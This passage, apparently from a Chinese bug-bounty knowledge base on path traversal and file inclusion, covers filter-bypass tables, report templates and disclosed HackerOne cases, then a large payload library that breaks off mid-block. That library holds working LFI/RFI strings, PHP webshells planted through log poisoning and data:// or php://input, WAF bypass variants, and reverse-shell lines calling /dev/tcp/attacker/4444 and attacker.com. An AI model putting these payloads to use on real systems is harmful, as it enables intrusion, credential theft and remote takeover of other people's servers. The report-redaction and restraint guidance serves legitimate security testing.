+ | 拦 | 绕 |
229
+ |---|---|
230
+ | `../` 字面拦 | URL 编码 / 双重编码 / Unicode 超长 / `....//` / `..\../` |
231
+ | 后缀白名单(`.jpg`) | `%00` 截断 / `?file=../../etc/passwd%00.jpg` / `;.jpg` |
232
+ | 黑名单 `passwd` | `pas%73wd` / `passwD` / `pas\x73wd`(旧版) |
233
+ | 绝对路径拦 | 相对路径 + 多 `../` |
234
+ | 多 `../` 拦 | 嵌套:`....//` 删一次后剩 `../` |
235
+ | 关键字 `etc` | `EtC` / `e%74c` / 全编码 |
236
+ | 仅允许某目录 | 利用规范化差异:`/allowed/../etc/passwd` |
237
+ | 长度限制 | 短文件:`/etc/hosts` 比 `/etc/passwd` 短 |
238
+
239
+ ---
240
+
241
+ ## 5. 利用提权 / 横向
242
+
243
+ ```
244
+ 读到 /etc/passwd → 拿到用户名列表
245
+
246
+ 读到 /home/web/.ssh/id_rsa → SSH 私钥(不要使用)
247
+
248
+ 读到 application.yml / .env → DB / Redis / API 密钥
249
+
250
+ 读到 /proc/self/environ → 启动环境变量(含 secret)
251
+
252
+ 读到 /WEB-INF/classes/jdbc.properties → JDBC 连接串
253
+
254
+ → SRC 报告时**最好停在"配置文件 + 第一行内容(脱敏)"**
255
+ 不要尝试用读到的密钥登录任何服务
256
+
257
+ # 任意文件删 → 瘫痪服务
258
+ DELETE /api/upload?path=../../web/index.html → 首页消失
259
+ ```
260
+
261
+ 参考 wooyun 案例:
262
+ - `?urlParam=../../../WEB-INF/web.xml%3f`(华云数据,配置泄露)
263
+ - `upload.aspx?id=8&dir=../../../../`(某家电厂商,目录浏览 + 任意删)
264
+ - `down.php?dd=../down.php`(某政府网站,源码下载)
265
+ - `IP:8888/../../../etc/shadow`(某大厂内部,shadow 读取)
266
+
267
+ ---
268
+
269
+ ## 6. 真实案例指纹
270
+
271
+ | 案例 ID | Payload | 结果 |
272
+ |--------|---------|------|
273
+ | wooyun-华云数据 | `?urlParam=../../../WEB-INF/web.xml%3f` | 配置泄露 |
274
+ | wooyun-某家电 | `upload.aspx?id=8&dir=../../../../` | 目录浏览 + 任意删 |
275
+ | wooyun-某政府 | `down.php?dd=../down.php` | 源码下载 |
276
+ | wooyun-上海海事 | `/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/.../etc/passwd` | UTF-8 超长(GlassFish) |
277
+ | Resin | `/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd` | 绝对路径 |
278
+ | Winmail | `?filename={base64 of ../../../windows/win.ini}` | base64 绕过 |
279
+ | 淘客帝国 | `pic.php?url=cGljLnBocA==` | base64 |
280
+
281
+ 通用指纹:
282
+
283
+ - 响应中 `root:x:0:0:root:/root:/bin/bash` → 命中 /etc/passwd
284
+ - 响应中 `[boot loader]` 或 `[fonts]` → win.ini
285
+ - 响应中 `<?xml version="1.0"` + `<web-app` → web.xml
286
+ - 响应中 `connectionString=` → web.config
287
+ - 响应中 `;application.properties` 字段 → Spring Boot 配置
288
+
289
+ ---
290
+
291
+ ## 7. 复现 / 证据要点
292
+
293
+ ### 7.1 报告必备
294
+
295
+ 1. 完整请求 URL
296
+ 2. 响应状态 + 关键内容
297
+ 3. 读到的文件第一行 / 关键标记字段(**脱敏**)
298
+ 4. 影响升级链(如能读到 DB 密码,但不实际利用)
299
+
300
+ ### 7.2 PoC 模板
301
+
302
+ ```http
303
+ GET /download.php?file=../../../../etc/passwd HTTP/1.1
304
+ Host: target.com
305
+
306
+ HTTP/1.1 200 OK
307
+ Content-Type: application/octet-stream
308
+
309
+ root:x:0:0:root:/root:/bin/bash
310
+ daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
311
+ bin:x:2:2:bin:/bin:/usr/sbin/nologin
312
+ ... (前 5 行作证,其余脱敏)
313
+ ```
314
+
315
+ ### 7.3 配置文件类(高价值,必脱敏)
316
+
317
+ ```http
318
+ GET /download?file=../../config/application-prod.yml HTTP/1.1
319
+ ...
320
+
321
+ HTTP/1.1 200 OK
322
+
323
+ spring:
324
+ datasource:
325
+ url: jdbc:mysql://10.0.x.x:3306/****
326
+ username: ****
327
+ password: M****d!(13 位)
328
+ driver-class-name: com.mysql.cj.jdbc.Driver
329
+ redis:
330
+ host: 10.0.x.x
331
+ password: r****x(10 位)
332
+
333
+ 我已停止在"读取该配置"步骤,未尝试连接任何凭据。
334
+ 完整文件 sha256: abc123...(证明拿到原文)
335
+ ```
336
+
337
+ ### 7.4 CVSS
338
+
339
+ ```
340
+ 任意文件读(含敏感) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
341
+ 仅读公开内容 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N = 5.3
342
+ 读到 DB 配置 → 链 P0 = 9.8
343
+ 任意文件删 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H = 8.6
344
+ 任意文件覆盖(webroot) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
345
+ ```
346
+
347
+ ### 7.5 影响段
348
+
349
+ ```
350
+ 通过 /download.php 接口的 file 参数,攻击者可使用 ../ 序列读取
351
+ 任意文件。已确认可读:
352
+ 1. /etc/passwd(系统用户列表)
353
+ 2. /var/www/html/config/application-prod.yml(DB / Redis 凭据)
354
+ 3. /proc/self/environ(启动环境变量)
355
+
356
+ 最严重链路:
357
+ 任意文件读 → application-prod.yml → MySQL 密码 → 直连数据库
358
+ (我已停止在"读到 yml"步骤,未尝试连接 DB)
359
+
360
+ 测试 5 次,复现率 100%。
361
+ ```
362
+
363
+ ---
364
+
365
+ ## 8. 不要做的事
366
+
367
+ - **禁**:用读到的 SSH 私钥 / DB 密码登录任何服务。
368
+ - **禁**:读取 `/etc/shadow`(即使能读,也会被怀疑越线)。仅做"探测能力"证明,看到 `root:x:` 行即停。
369
+ - **禁**:批量读取多个用户的 `.bash_history` / `.aws/credentials`。仅证明 1 个 sample。
370
+ - **禁**:尝试任意文件删除真实生产文件(`index.html`、`.htaccess`)。在测试环境验证 / 在受影响目录创建一个 PoC 文件再删它。
371
+ - **禁**:把读到的源码 / 配置上传到 GitHub / 第三方仓库。本地保存,报告后删除。
372
+ - **报告中**:源码 / 配置必须脱敏。可附 sha256 hash 证明拿到过原文。
373
+
374
+ ## H1 真实案例
375
+
376
+ _共 163 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
377
+
378
+ | Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
379
+ |---|--:|---|---|---|
380
+ | Critical | 20000 usd | GitLab | [Arbitrary file read via the UploadsRewriter when moving and issue](https://hackerone.com/reports/827052) | Summary The `UploadsRewriter` does not validate the file name, allowing arbitrary files to be copied via directory traversal wh… |
381
+ | Critical | 29000 usd | GitLab | [Arbitrary file read via the bulk imports UploadsPipeline](https://hackerone.com/reports/1439593) | Summary The bulk imports api does not remove symlinks when untaring the uploads.tar.gz file, allowing arbitrary files to be rea… |
382
+ | Critical | 16000 usd | GitLab | [Arbitrary file read during project import](https://hackerone.com/reports/1132378) | NOTE! Thanks for submitting a report! Please replace *all* the (parenthesized) sections below with the pertinent details. Remem… |
383
+ | Critical | — | Starbucks | [Misuse of an authentication cookie combined with a path traversal on app.starbucks.com permitted …](https://hackerone.com/reports/876295) | Misuse of an authentication cookie combined with a path traversal on app.starbucks.com permitted access to restricted data |
384
+ | High | 6000 usd | Mozilla | [Mozilla VPN Clients: RCE via file write and path traversal](https://hackerone.com/reports/2995025) | Summary: Hi! I decided to have another look at the Mozilla VPN Client, after #2920675 was set to resolved. When going over all … |
385
+ | High | 12000 usd | GitLab | [Path traversal in Nuget Package Registry](https://hackerone.com/reports/822262) | Summary There's a path traversal issue in Nuget package registry which was released to GitLab-EE recently |
386
+ | High | — | LY Corporation | [Path traversal in filename in LINE Mac client](https://hackerone.com/reports/727727) | Path traversal in filename in LINE Mac client |
387
+ | Critical | — | WordPress | [RCE as Admin defeats WordPress hardening and file permissions](https://hackerone.com/reports/436928) | This vulnerability was found when I found myself in the following scenario: My collegue set up WordPress on his local machine a… |
388
+ | High | — | PortSwigger Web Security | [[portswigger.net] Path Traversal al /cms/audioitems](https://hackerone.com/reports/2424815) | Prelude. I wasn't going to report it, I thought it was your laboratory but after my first analysis this seems real. Description… |
389
+ | Critical | 4000 usd | Internet Bug Bounty | [Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49](https://hackerone.com/reports/1394916) | A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49 |
390
+ | High | — | Lichess | [Path Traversal Vulnerability in Lila Project](https://hackerone.com/reports/3181066) | Summary: A path traversal vulnerability was discovered in the Lila project that allows an attacker to access arbitrary files on… |
391
+ | High | 1000 usd | Aiven Ltd | [Zero day path traversal vulnerability in Grafana 8.x allows unauthenticated arbitrary local file …](https://hackerone.com/reports/1415820) | Summary: Hi team, I've found a path traversal issue in the Grafana instances hosted on the Aiven platforms |
392
+
393
+ **命中本类的 weakness 分布:**
394
+
395
+ - Path Traversal:144 条
396
+ - Uncategorized → 手工归类:7 条
397
+ - Path Traversal: '.../...//':5 条
398
+ - Relative Path Traversal:2 条
399
+ - External Control of File Name or Path:1 条
400
+ - File Manipulation:1 条
401
+ - PHP Local File Inclusion:1 条
402
+ - Untrusted Search Path:1 条
403
+ - Insecure Temporary File:1 条
404
+
405
+
406
+ ## Payload 库
407
+
408
+ _12 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体_
409
+
410
+ ### 本地文件包含 `lfi-basic`
411
+ 本地文件包含漏洞利用技术
412
+ 子类:**本地包含** · tags: `lfi` `local` `file` `inclusion`
413
+
414
+ **前置条件:** 存在文件包含功能;用户可控制包含路径
415
+
416
+ **攻击链:**
417
+
418
+ **1. 1. 探测LFI**
419
+ _探测本地文件包含_
420
+ ```
421
+ ?file=../../../etc/passwd
422
+ ?file=....//....//....//etc/passwd
423
+ ?file=..\..\..\windows\win.ini
424
+ ?page=php://filter/convert.base64-encode/resource=index.php
425
+ ```
426
+
427
+ **2. 2. 读取敏感文件** _[linux]_
428
+ _读取Linux敏感文件_
429
+ ```
430
+ ../../../etc/passwd
431
+ ../../../etc/shadow
432
+ ../../../var/log/apache2/access.log
433
+ ../../../proc/self/environ
434
+ ../../../proc/self/cmdline
435
+ ```
436
+
437
+ **3. 3. PHP伪协议**
438
+ _使用PHP伪协议_
439
+ ```
440
+ php://filter/convert.base64-encode/resource=config.php
441
+ php://input (POST数据作为输入)
442
+ php://data://text/plain,<?php phpinfo();?>
443
+ phar://archive.zip/shell.php
444
+ ```
445
+
446
+ **4. 4. 日志投毒** _[linux]_
447
+ _通过日志投毒获取RCE_
448
+ ```
449
+ 1. 包含日志文件: ../../../var/log/apache2/access.log
450
+ 2. 在User-Agent中注入: <?php system($_GET['c']); ?>
451
+ 3. 访问: ?file=../../../var/log/apache2/access.log&c=id
452
+ ```
453
+
454
+ **WAF/EDR 绕过变体:**
455
+
456
+ **1. 目录遍历绕过**
457
+ _绕过目录遍历过滤_
458
+ ```
459
+ ....//....//....//etc/passwd
460
+ ..%252f..%252f..%252fetc/passwd
461
+ ..%c0%af..%c0%af..%c0%afetc/passwd
462
+ ....\/....\/....\/etc/passwd
463
+ ```
464
+
465
+ **2. 后缀绕过**
466
+ _绕过文件后缀检查_
467
+ ```
468
+ ../../../etc/passwd%00
469
+ ../../../etc/passwd%00.jpg
470
+ ../../../etc/passwd/.jpg
471
+ php://filter/convert.base64-encode/resource=config.php%00
472
+ ```
473
+
474
+ ---
475
+
476
+ ### 远程文件包含 `rfi-basic`
477
+ 远程文件包含漏洞利用技术
478
+ 子类:**远程包含** · tags: `rfi` `remote` `file` `inclusion`
479
+
480
+ **前置条件:** 存在文件包含功能;allow_url_include=On;用户可控制包含路径
481
+
482
+ **攻击链:**
483
+
484
+ **1. 1. 探测RFI**
485
+ _探测远程文件包含_
486
+ ```
487
+ ?file=http://attacker.com/shell.txt
488
+ ?file=http://attacker.com/shell.txt%00
489
+ ?file=http://attacker.com/shell.txt?
490
+ ```
491
+
492
+ **2. 2. 托管恶意文件**
493
+ _托管恶意文件并执行_
494
+ ```
495
+ # shell.txt内容
496
+ <?php system($_GET['cmd']); ?>
497
+
498
+ # 访问
499
+ ?file=http://attacker.com/shell.txt&cmd=id
500
+ ```
501
+
502
+ **3. 3. 反弹Shell** _[linux]_
503
+ _获取反弹Shell_
504
+ ```
505
+ # shell.txt内容
506
+ <?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?>
507
+
508
+ # 或使用
509
+ <?php $sock=fsockopen("attacker",4444);exec("/bin/sh -i <&3 >&3 2>&3"); ?>
510
+ ```
511
+
512
+ **4. 4. 使用data协议**
513
+ _使用data协议执行代码_
514
+ ```
515
+ ?file=data://text/plain,<?php system($_GET['cmd']); ?>&cmd=id
516
+ ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
517
+ ```
518
+
519
+ **WAF/EDR 绕过变体:**
520
+
521
+ **1. 双写绕过**
522
+ _双写绕过关键字过滤_
523
+ ```
524
+ ?file=htthttp://p://attacker.com/shell.txt
525
+ ?file=http://attackerattacker.com.com/shell.txt
526
+ ```
527
+
528
+ **2. 大小写混淆**
529
+ _大小写混淆绕过_
530
+ ```
531
+ ?file=HtTp://attacker.com/shell.txt
532
+ ?file=HTTP://attacker.com/shell.txt
533
+ ```
534
+
535
+ **3. 协议替换**
536
+ _使用其他协议_
537
+ ```
538
+ ?file=ftp://attacker.com/shell.txt
539
+ ?file=php://filter/convert.base64-encode/resource=http://attacker.com/shell.txt
540
+ ```
541
+
542
+ ---
543
+
544
+ ### 日志投毒LFI `lfi-log-poison`
545
+ 通过日志投毒实现LFI到RCE
546
+ 子类:**日志投毒** · tags: `lfi` `log` `poison` `rce`
547
+
548
+ **前置条件:** 存在LFI漏洞;可包含日志文件;日志文件可写
549
+
550
+ **攻击链:**
551
+
552
+ **1. 1. 探测日志文件位置** _[linux]_
553
+ _探测日志文件位置_
554
+ ```
555
+ # Apache日志
556
+ ../../../var/log/apache2/access.log
557
+ ../../../var/log/apache2/error.log
558
+ ../../../var/log/httpd/access_log
559
+ ../../../var/log/nginx/access.log
560
+
561
+ # 系统日志
562
+ ../../../var/log/auth.log
563
+ ../../../var/log/syslog
564
+ ```
565
+
566
+ **2. 2. 投毒User-Agent**
567
+ _在User-Agent中注入代码_
568
+ ```
569
+ # 使用curl投毒
570
+ curl -A "<?php system($_GET['c']); ?>" http://target.com/
571
+
572
+ # 或使用Burp Suite修改User-Agent
573
+ User-Agent: <?php system($_GET['c']); ?>
574
+ ```
575
+
576
+ **3. 3. 投毒请求路径**
577
+ _在请求路径中注入代码_
578
+ ```
579
+ # 在URL路径中注入
580
+ curl http://target.com/<?php system($_GET['c']); ?>
581
+
582
+ # URL编码
583
+ curl http://target.com/%3C%3Fphp%20system%28%24_GET%5B%27c%27%5D%29%3B%20%3F%3E
584
+ ```
585
+
586
+ **4. 4. 执行命令** _[linux]_
587
+ _包含日志文件执行命令_
588
+ ```
589
+ # 包含日志文件并执行命令
590
+ ?file=../../../var/log/apache2/access.log&c=id
591
+ ?file=../../../var/log/apache2/access.log&c=whoami
592
+ ?file=../../../var/log/apache2/access.log&c=cat /etc/passwd
593
+ ```
594
+
595
+ **5. 5. 反弹Shell** _[linux]_
596
+ _获取反弹Shell_
597
+ ```
598
+ ?file=../../../var/log/apache2/access.log&c=bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
599
+ ```
600
+
601
+ **WAF/EDR 绕过变体:**
602
+
603
+ **1. 编码绕过**
604
+ _WAF绕过技术_
605
+ ```
606
+ # 使用Base64编码
607
+ <?php eval(base64_decode($_GET['c'])); ?>
608
+ # 然后传递Base64编码的命令
609
+ ```
610
+
611
+ ---
612
+
613
+ ### PHP伪协议利用 `lfi-wrapper`
614
+ 利用PHP伪协议进行LFI攻击
615
+ 子类:**伪协议** · tags: `lfi` `wrapper` `php` `protocol`
616
+
617
+ **前置条件:** 存在LFI漏洞;PHP环境;伪协议未禁用
618
+
619
+ **攻击链:**
620
+
621
+ **1. 1. php://filter**
622
+ _使用php://filter读取源码_
623
+ ```
624
+ # 读取源码(Base64)
625
+ ?file=php://filter/convert.base64-encode/resource=config.php
626
+
627
+ # 读取源码(Rot13)
628
+ ?file=php://filter/read=string.rot13/resource=config.php
629
+
630
+ # 多重过滤器
631
+ ?file=php://filter/convert.base64-encode|string.rot13/resource=config.php
632
+ ```
633
+
634
+ **2. 2. php://input**
635
+ _使用php://input执行代码_
636
+ ```
637
+ # POST执行PHP代码
638
+ ?file=php://input
639
+ POST: <?php system('id'); ?>
640
+
641
+ # 执行任意代码
642
+ POST: <?php phpinfo(); ?>
643
+ POST: <?php echo file_get_contents('/etc/passwd'); ?>
644
+ ```
645
+
646
+ **3. 3. data://协议**
647
+ _使用data://协议执行代码_
648
+ ```
649
+ # 直接执行代码
650
+ ?file=data://text/plain,<?php system('id'); ?>
651
+
652
+ # Base64编码
653
+ ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
654
+
655
+ # 执行任意命令
656
+ ?file=data://text/plain,<?php system($_GET['c']); ?>&c=id
657
+ ```
658
+
659
+ **4. 4. phar://协议**
660
+ _使用phar://协议_
661
+ ```
662
+ # 创建phar文件
663
+ <?php
664
+ $p = new Phar('shell.phar');
665
+ $p->addFromString('shell.txt', '<?php system($_GET["c"]); ?>');
666
+ ?>
667
+
668
+ # 包含phar
669
+ ?file=phar://shell.phar/shell.txt&c=id
670
+ ```
671
+
672
+ **5. 5. zip://协议**
673
+ _使用zip://协议_
674
+ ```
675
+ # 创建zip文件
676
+ zip shell.zip shell.txt
677
+ # shell.txt内容: <?php system($_GET['c']); ?>
678
+
679
+ # 包含zip
680
+ ?file=zip://shell.zip%23shell.txt&c=id
681
+
682
+ # 使用jpg+zip
683
+ copy shell.jpg+shell.zip shell.jpg
684
+ ?file=zip://shell.jpg%23shell.txt&c=id
685
+ ```
686
+
687
+ **WAF/EDR 绕过变体:**
688
+
689
+ **1. 大小写混淆**
690
+ _大小写混淆绕过_
691
+ ```
692
+ ?file=Php://filter/convert.base64-encode/resource=config.php
693
+ ?file=DATA://text/plain,<?php system('id'); ?>
694
+ ```
695
+
696
+ **2. 双重URL编码**
697
+ _双重URL编码绕过_
698
+ ```
699
+ ?file=php%3A%2F%2Ffilter/convert.base64-encode/resource=config.php
700
+ ?file=%70%68%70%3a%2f%2finput
701
+ ```
702
+
703
+ ---
704
+
705
+ ### 目录遍历技术 `lfi-traversal`
706
+ LFI目录遍历绕过技术
707
+ 子类:**目录遍历** · tags: `lfi` `traversal` `bypass` `path`
708
+
709
+ **前置条件:** 存在LFI漏洞;存在路径过滤
710
+
711
+ **攻击链:**
712
+
713
+ **1. 1. 基础遍历**
714
+ _基础目录遍历_
715
+ ```
716
+ ../../../etc/passwd
717
+ ../../../../etc/passwd
718
+ ../../../../../etc/passwd
719
+ ..\..\..\windows\win.ini
720
+ ```
721
+
722
+ **2. 2. 绕过删除../**
723
+ _绕过删除../的过滤_
724
+ ```
725
+ ....//....//....//etc/passwd
726
+ ....//....//etc/passwd
727
+ ..././..././..././etc/passwd
728
+ ```
729
+
730
+ **3. 3. URL编码绕过**
731
+ _URL编码绕过_
732
+ ```
733
+ ..%2f..%2f..%2fetc/passwd
734
+ ..%252f..%252f..%252fetc/passwd
735
+ %2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
736
+ ```
737
+
738
+ **4. 4. Unicode编码绕过**
739
+ _Unicode编码绕过_
740
+ ```
741
+ ..%c0%af..%c0%af..%c0%afetc/passwd
742
+ ..%c1%9c..%c1%9c..%c1%9cwindows\win.ini
743
+ ..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc/passwd
744
+ ```
745
+
746
+ **5. 5. 绝对路径绕过**
747
+ _使用绝对路径_
748
+ ```
749
+ /etc/passwd
750
+ /etc/shadow
751
+ /var/log/apache2/access.log
752
+ C:/windows/win.ini
753
+ C:\windows\system32\config\sam
754
+ ```
755
+
756
+ **WAF/EDR 绕过变体:**
757
+
758
+ **1. 混合编码**
759
+ _混合编码绕过_
760
+ ```
761
+ ..%2f..%c0%af..%2fetc/passwd
762
+ %2e%2e/%2e%2e/%2e%2e/etc/passwd
763
+ ```
764
+
765
+ **2. 空字节截断**
766
+ _空字节截断绕过后缀_
767
+ ```
768
+ ../../../etc/passwd%00
769
+ ../../../etc/passwd%00.jpg
770
+ ../../../etc/passwd%00.html
771
+ ```
772
+
773
+ **3. 点号截断(Windows)** _[windows]_
774
+ _Windows点号截断_
775
+ ```
776
+ ../../../windows/win.ini.
777
+ ../../../windows/win.ini...
778
+ ../../../boot.ini……
779
+ ```
780
+
781
+ ---
782
+
783
+ ### PHP Filter链攻击 `lfi-php-filter`
784
+ 利用PHP Filter链进行LFI攻击
785
+ 子类:**PHP Filter** · tags: `lfi` `php` `filter` `chain`
786
+
787
+ **前置条件:** 存在LFI漏洞;PHP环境;filter伪协议可用
788
+
789
+ **攻击链:**
790
+
791
+ **1. 1. 读取源码**
792
+ _使用Filter读取源码_
793
+ ```
794
+ # Base64编码读取
795
+ ?file=php://filter/convert.base64-encode/resource=index.php
796
+
797
+ # Rot13读取
798
+ ?file=php://filter/read=string.rot13/resource=index.php
799
+
800
+ # 字符转换
801
+ ?file=php://filter/read=string.toupper/resource=index.php
802
+ ```
803
+
804
+ **2. 2. 多重过滤器**
805
+ _使用多重过滤器_
806
+ ```
807
+ # 多重编码
808
+ ?file=php://filter/convert.base64-encode|string.rot13/resource=config.php
809
+
810
+ # 去除PHP标签
811
+ ?file=php://filter/read=string.strip_tags/resource=index.php
812
+ ```
813
+
814
+ **3. 3. Filter链RCE**
815
+ _使用高级过滤器_
816
+ ```
817
+ # 使用iconv过滤器
818
+ ?file=php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php
819
+
820
+ # 使用zlib压缩
821
+ ?file=php://filter/zlib.deflate/resource=index.php
822
+ ?file=php://filter/zlib.inflate/resource=data
823
+ ```
824
+
825
+ **4. 4. 读取配置文件**
826
+ _读取常见框架配置_
827
+ ```
828
+ # WordPress配置
829
+ ?file=php://filter/convert.base64-encode/resource=wp-config.php
830
+
831
+ # Laravel .env
832
+ ?file=php://filter/convert.base64-encode/resource=../.env
833
+
834
+ # ThinkPHP配置
835
+ ?file=php://filter/convert.base64-encode/resource=application/database.php
836
+ ```
837
+
838
+ **WAF/EDR 绕过变体:**
839
+
840
+ **1. 大小写混淆**
841
+ _大小写混淆绕过_
842
+ ```
843
+ ?file=PHP://FILTER/CONVERT.BASE64-ENCODE/RESOURCE=config.php
844
+ ?file=PhP://FiLtEr/convert.base64-encode/resource=config.php
845
+ ```
846
+
847
+ **2. 编码绕过**
848
+ _URL编码绕过_
849
+ ```
850
+ ?file=%70%68%70%3a%2f%2f%66%69%6c%74%65%72/convert.base64-encode/resource=config.php
851
+ ```
852
+
853
+ ---
854
+
855
+ ### PHP Input执行 `lfi-php-input`
856
+ 利用php://input执行PHP代码
857
+ 子类:**PHP Input** · tags: `lfi` `php` `input` `rce`
858
+
859
+ **前置条件:** 存在LFI漏洞;allow_url_include=On;POST方法可用
860
+
861
+ **攻击链:**
862
+
863
+ **1. 1. 基础执行**
864
+ _使用php://input执行代码_
865
+ ```
866
+ # GET请求
867
+ GET ?file=php://input
868
+
869
+ # POST数据
870
+ POST: <?php system('id'); ?>
871
+ POST: <?php echo 'Hello'; ?>
872
+ ```
873
+
874
+ **2. 2. 命令执行**
875
+ _执行系统命令_
876
+ ```
877
+ # 执行系统命令
878
+ POST: <?php system($_GET['c']); ?>
879
+ # 然后访问: ?file=php://input&c=id
880
+
881
+ # 使用exec
882
+ POST: <?php echo exec('id'); ?>
883
+
884
+ # 使用shell_exec
885
+ POST: <?php echo shell_exec('id'); ?>
886
+ ```
887
+
888
+ **3. 3. 文件操作**
889
+ _文件操作_
890
+ ```
891
+ # 读取文件
892
+ POST: <?php echo file_get_contents('/etc/passwd'); ?>
893
+
894
+ # 写入文件
895
+ POST: <?php file_put_contents('shell.php', '<?php system($_GET["c"]); ?>'); ?>
896
+
897
+ # 列出目录
898
+ POST: <?php print_r(scandir('.')); ?>
899
+ ```
900
+
901
+ **4. 4. 反弹Shell** _[linux]_
902
+ _获取反弹Shell_
903
+ ```
904
+ POST: <?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?>
905
+
906
+ # 或使用
907
+ POST: <?php $sock=fsockopen("attacker",4444);exec("/bin/sh -i <&3 >&3 2>&3"); ?>
908
+ ```
909
+
910
+ **WAF/EDR 绕过变体:**
911
+
912
+ **1. 编码绕过**
913
+ _使用编码绕过_
914
+ ```
915
+ # Base64编码
916
+ POST: <?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjJ10pOw==')); ?>
917
+ # 解码后: system($_GET['c']);
918
+
919
+ # Rot13编码
920
+ POST: <?php eval(str_rot13('flfgrz($_TRG['p']);')); ?>
921
+ ```
922
+
923
+ **2. 短标签**
924
+ _WAF绕过技术_
925
+ ```
926
+ POST: <?=system($_GET['c']);?>
927
+ POST: <?=`$_GET[c]`?>
928
+ ```
929
+
930
+ ---
931
+
932
+ ### PHP Data协议攻击 `lfi-php-data`
933
+ 利用data://协议执行PHP代码
934
+ 子类:**PHP Data** · tags: `lfi` `php` `data` `protocol`
935
+
936
+ **前置条件:** 存在LFI漏洞;allow_url_include=On;data协议可用
937
+
938
+ **攻击链:**
939
+
940
+ **1. 1. 基础执行**
941
+ _使用data://协议执行代码_
942
+ ```
943
+ # 直接执行
944
+ ?file=data://text/plain,<?php system('id'); ?>
945
+
946
+ # 执行phpinfo
947
+ ?file=data://text/plain,<?php phpinfo(); ?>
948
+
949
+ # 输出文本
950
+ ?file=data://text/plain,Hello World
951
+ ```
952
+
953
+ **2. 2. Base64编码**
954
+ _使用Base64编码_
955
+ ```
956
+ # Base64编码执行
957
+ ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
958
+ # 解码后: <?php system('id'); ?>
959
+
960
+ # 带参数执行
961
+ ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id
962
+ ```
963
+
964
+ **3. 3. 命令执行**
965
+ _执行系统命令_
966
+ ```
967
+ # 交互式命令
968
+ ?file=data://text/plain,<?php system($_GET['c']); ?>&c=id
969
+ ?file=data://text/plain,<?php system($_GET['c']); ?>&c=whoami
970
+ ?file=data://text/plain,<?php system($_GET['c']); ?>&c=cat /etc/passwd
971
+ ```
972
+
973
+ **4. 4. 反弹Shell** _[linux]_
974
+ _获取反弹Shell_
975
+ ```
976
+ ?file=data://text/plain,<?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?>
977
+
978
+ # Base64版本
979
+ ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJiYXNoIC1jIFwiYmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci80NDQ0IDA+JjFcIiIpOyA/Pg==
980
+ ```
981
+
982
+ **WAF/EDR 绕过变体:**
983
+
984
+ **1. 大小写混淆**
985
+ _大小写混淆绕过_
986
+ ```
987
+ ?file=DATA://TEXT/PLAIN,<?php system('id'); ?>
988
+ ?file=Data://Text/Plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
989
+ ```
990
+
991
+ **2. URL编码**
992
+ _URL编码绕过_
993
+ ```
994
+ ?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%27%69%64%27%29%3b%20%3f%3e
995
+ ```
996
+
997
+ **3. MIME类型变换**
998
+ _变换MIME类型_
999
+ ```
1000
+ ?file=data://text/html,<?php system('id'); ?>
1001
+ ?file=data://application/x-httpd-php,<?php system('id'); ?>
1002
+ ```
1003
+
1004
+ ---
1005
+
1006
+ ### PHP Zip协议攻击 `lfi-php-zip`
1007
+ 利用zip://协议进行LFI攻击
1008
+ 子类:**PHP Zip** · tags: `lfi` `php` `zip` `archive`
1009
+
1010
+ **前置条件:** 存在LFI漏洞;可上传zip文件;zip协议可用
1011
+
1012
+ **攻击链:**
1013
+
1014
+ **1. 1. 创建恶意Zip**
1015
+ _创建恶意Zip文件_
1016
+ ```
1017
+ # 创建shell.txt
1018
+ echo '<?php system($_GET["c"]); ?>' > shell.txt
1019
+
1020
+ # 创建zip文件
1021
+ zip shell.zip shell.txt
1022
+
1023
+ # 或使用Python
1024
+ import zipfile
1025
+ with zipfile.ZipFile('shell.zip', 'w') as z:
1026
+ z.writestr('shell.txt', '<?php system($_GET["c"]); ?>')
1027
+ ```
1028
+
1029
+ **2. 2. 上传Zip文件**
1030
+ _上传Zip文件_
1031
+ ```
1032
+ # 通过文件上传功能上传shell.zip
1033
+ # 或通过其他方式上传
1034
+
1035
+ # 记住上传路径
1036
+ /uploads/shell.zip
1037
+ ```
1038
+
1039
+ **3. 3. 包含Zip文件**
1040
+ _包含Zip文件执行代码_
1041
+ ```
1042
+ # 使用zip://协议包含
1043
+ ?file=zip://uploads/shell.zip%23shell.txt&c=id
1044
+
1045
+ # %23是#的URL编码
1046
+ # 格式: zip://路径#文件名
1047
+ ```
1048
+
1049
+ **4. 4. 图片马**
1050
+ _使用图片马上传_
1051
+ ```
1052
+ # 创建图片马
1053
+ copy image.jpg+shell.zip image.jpg
1054
+
1055
+ # 或使用
1056
+ cat image.jpg shell.zip > image.jpg
1057
+
1058
+ # 包含
1059
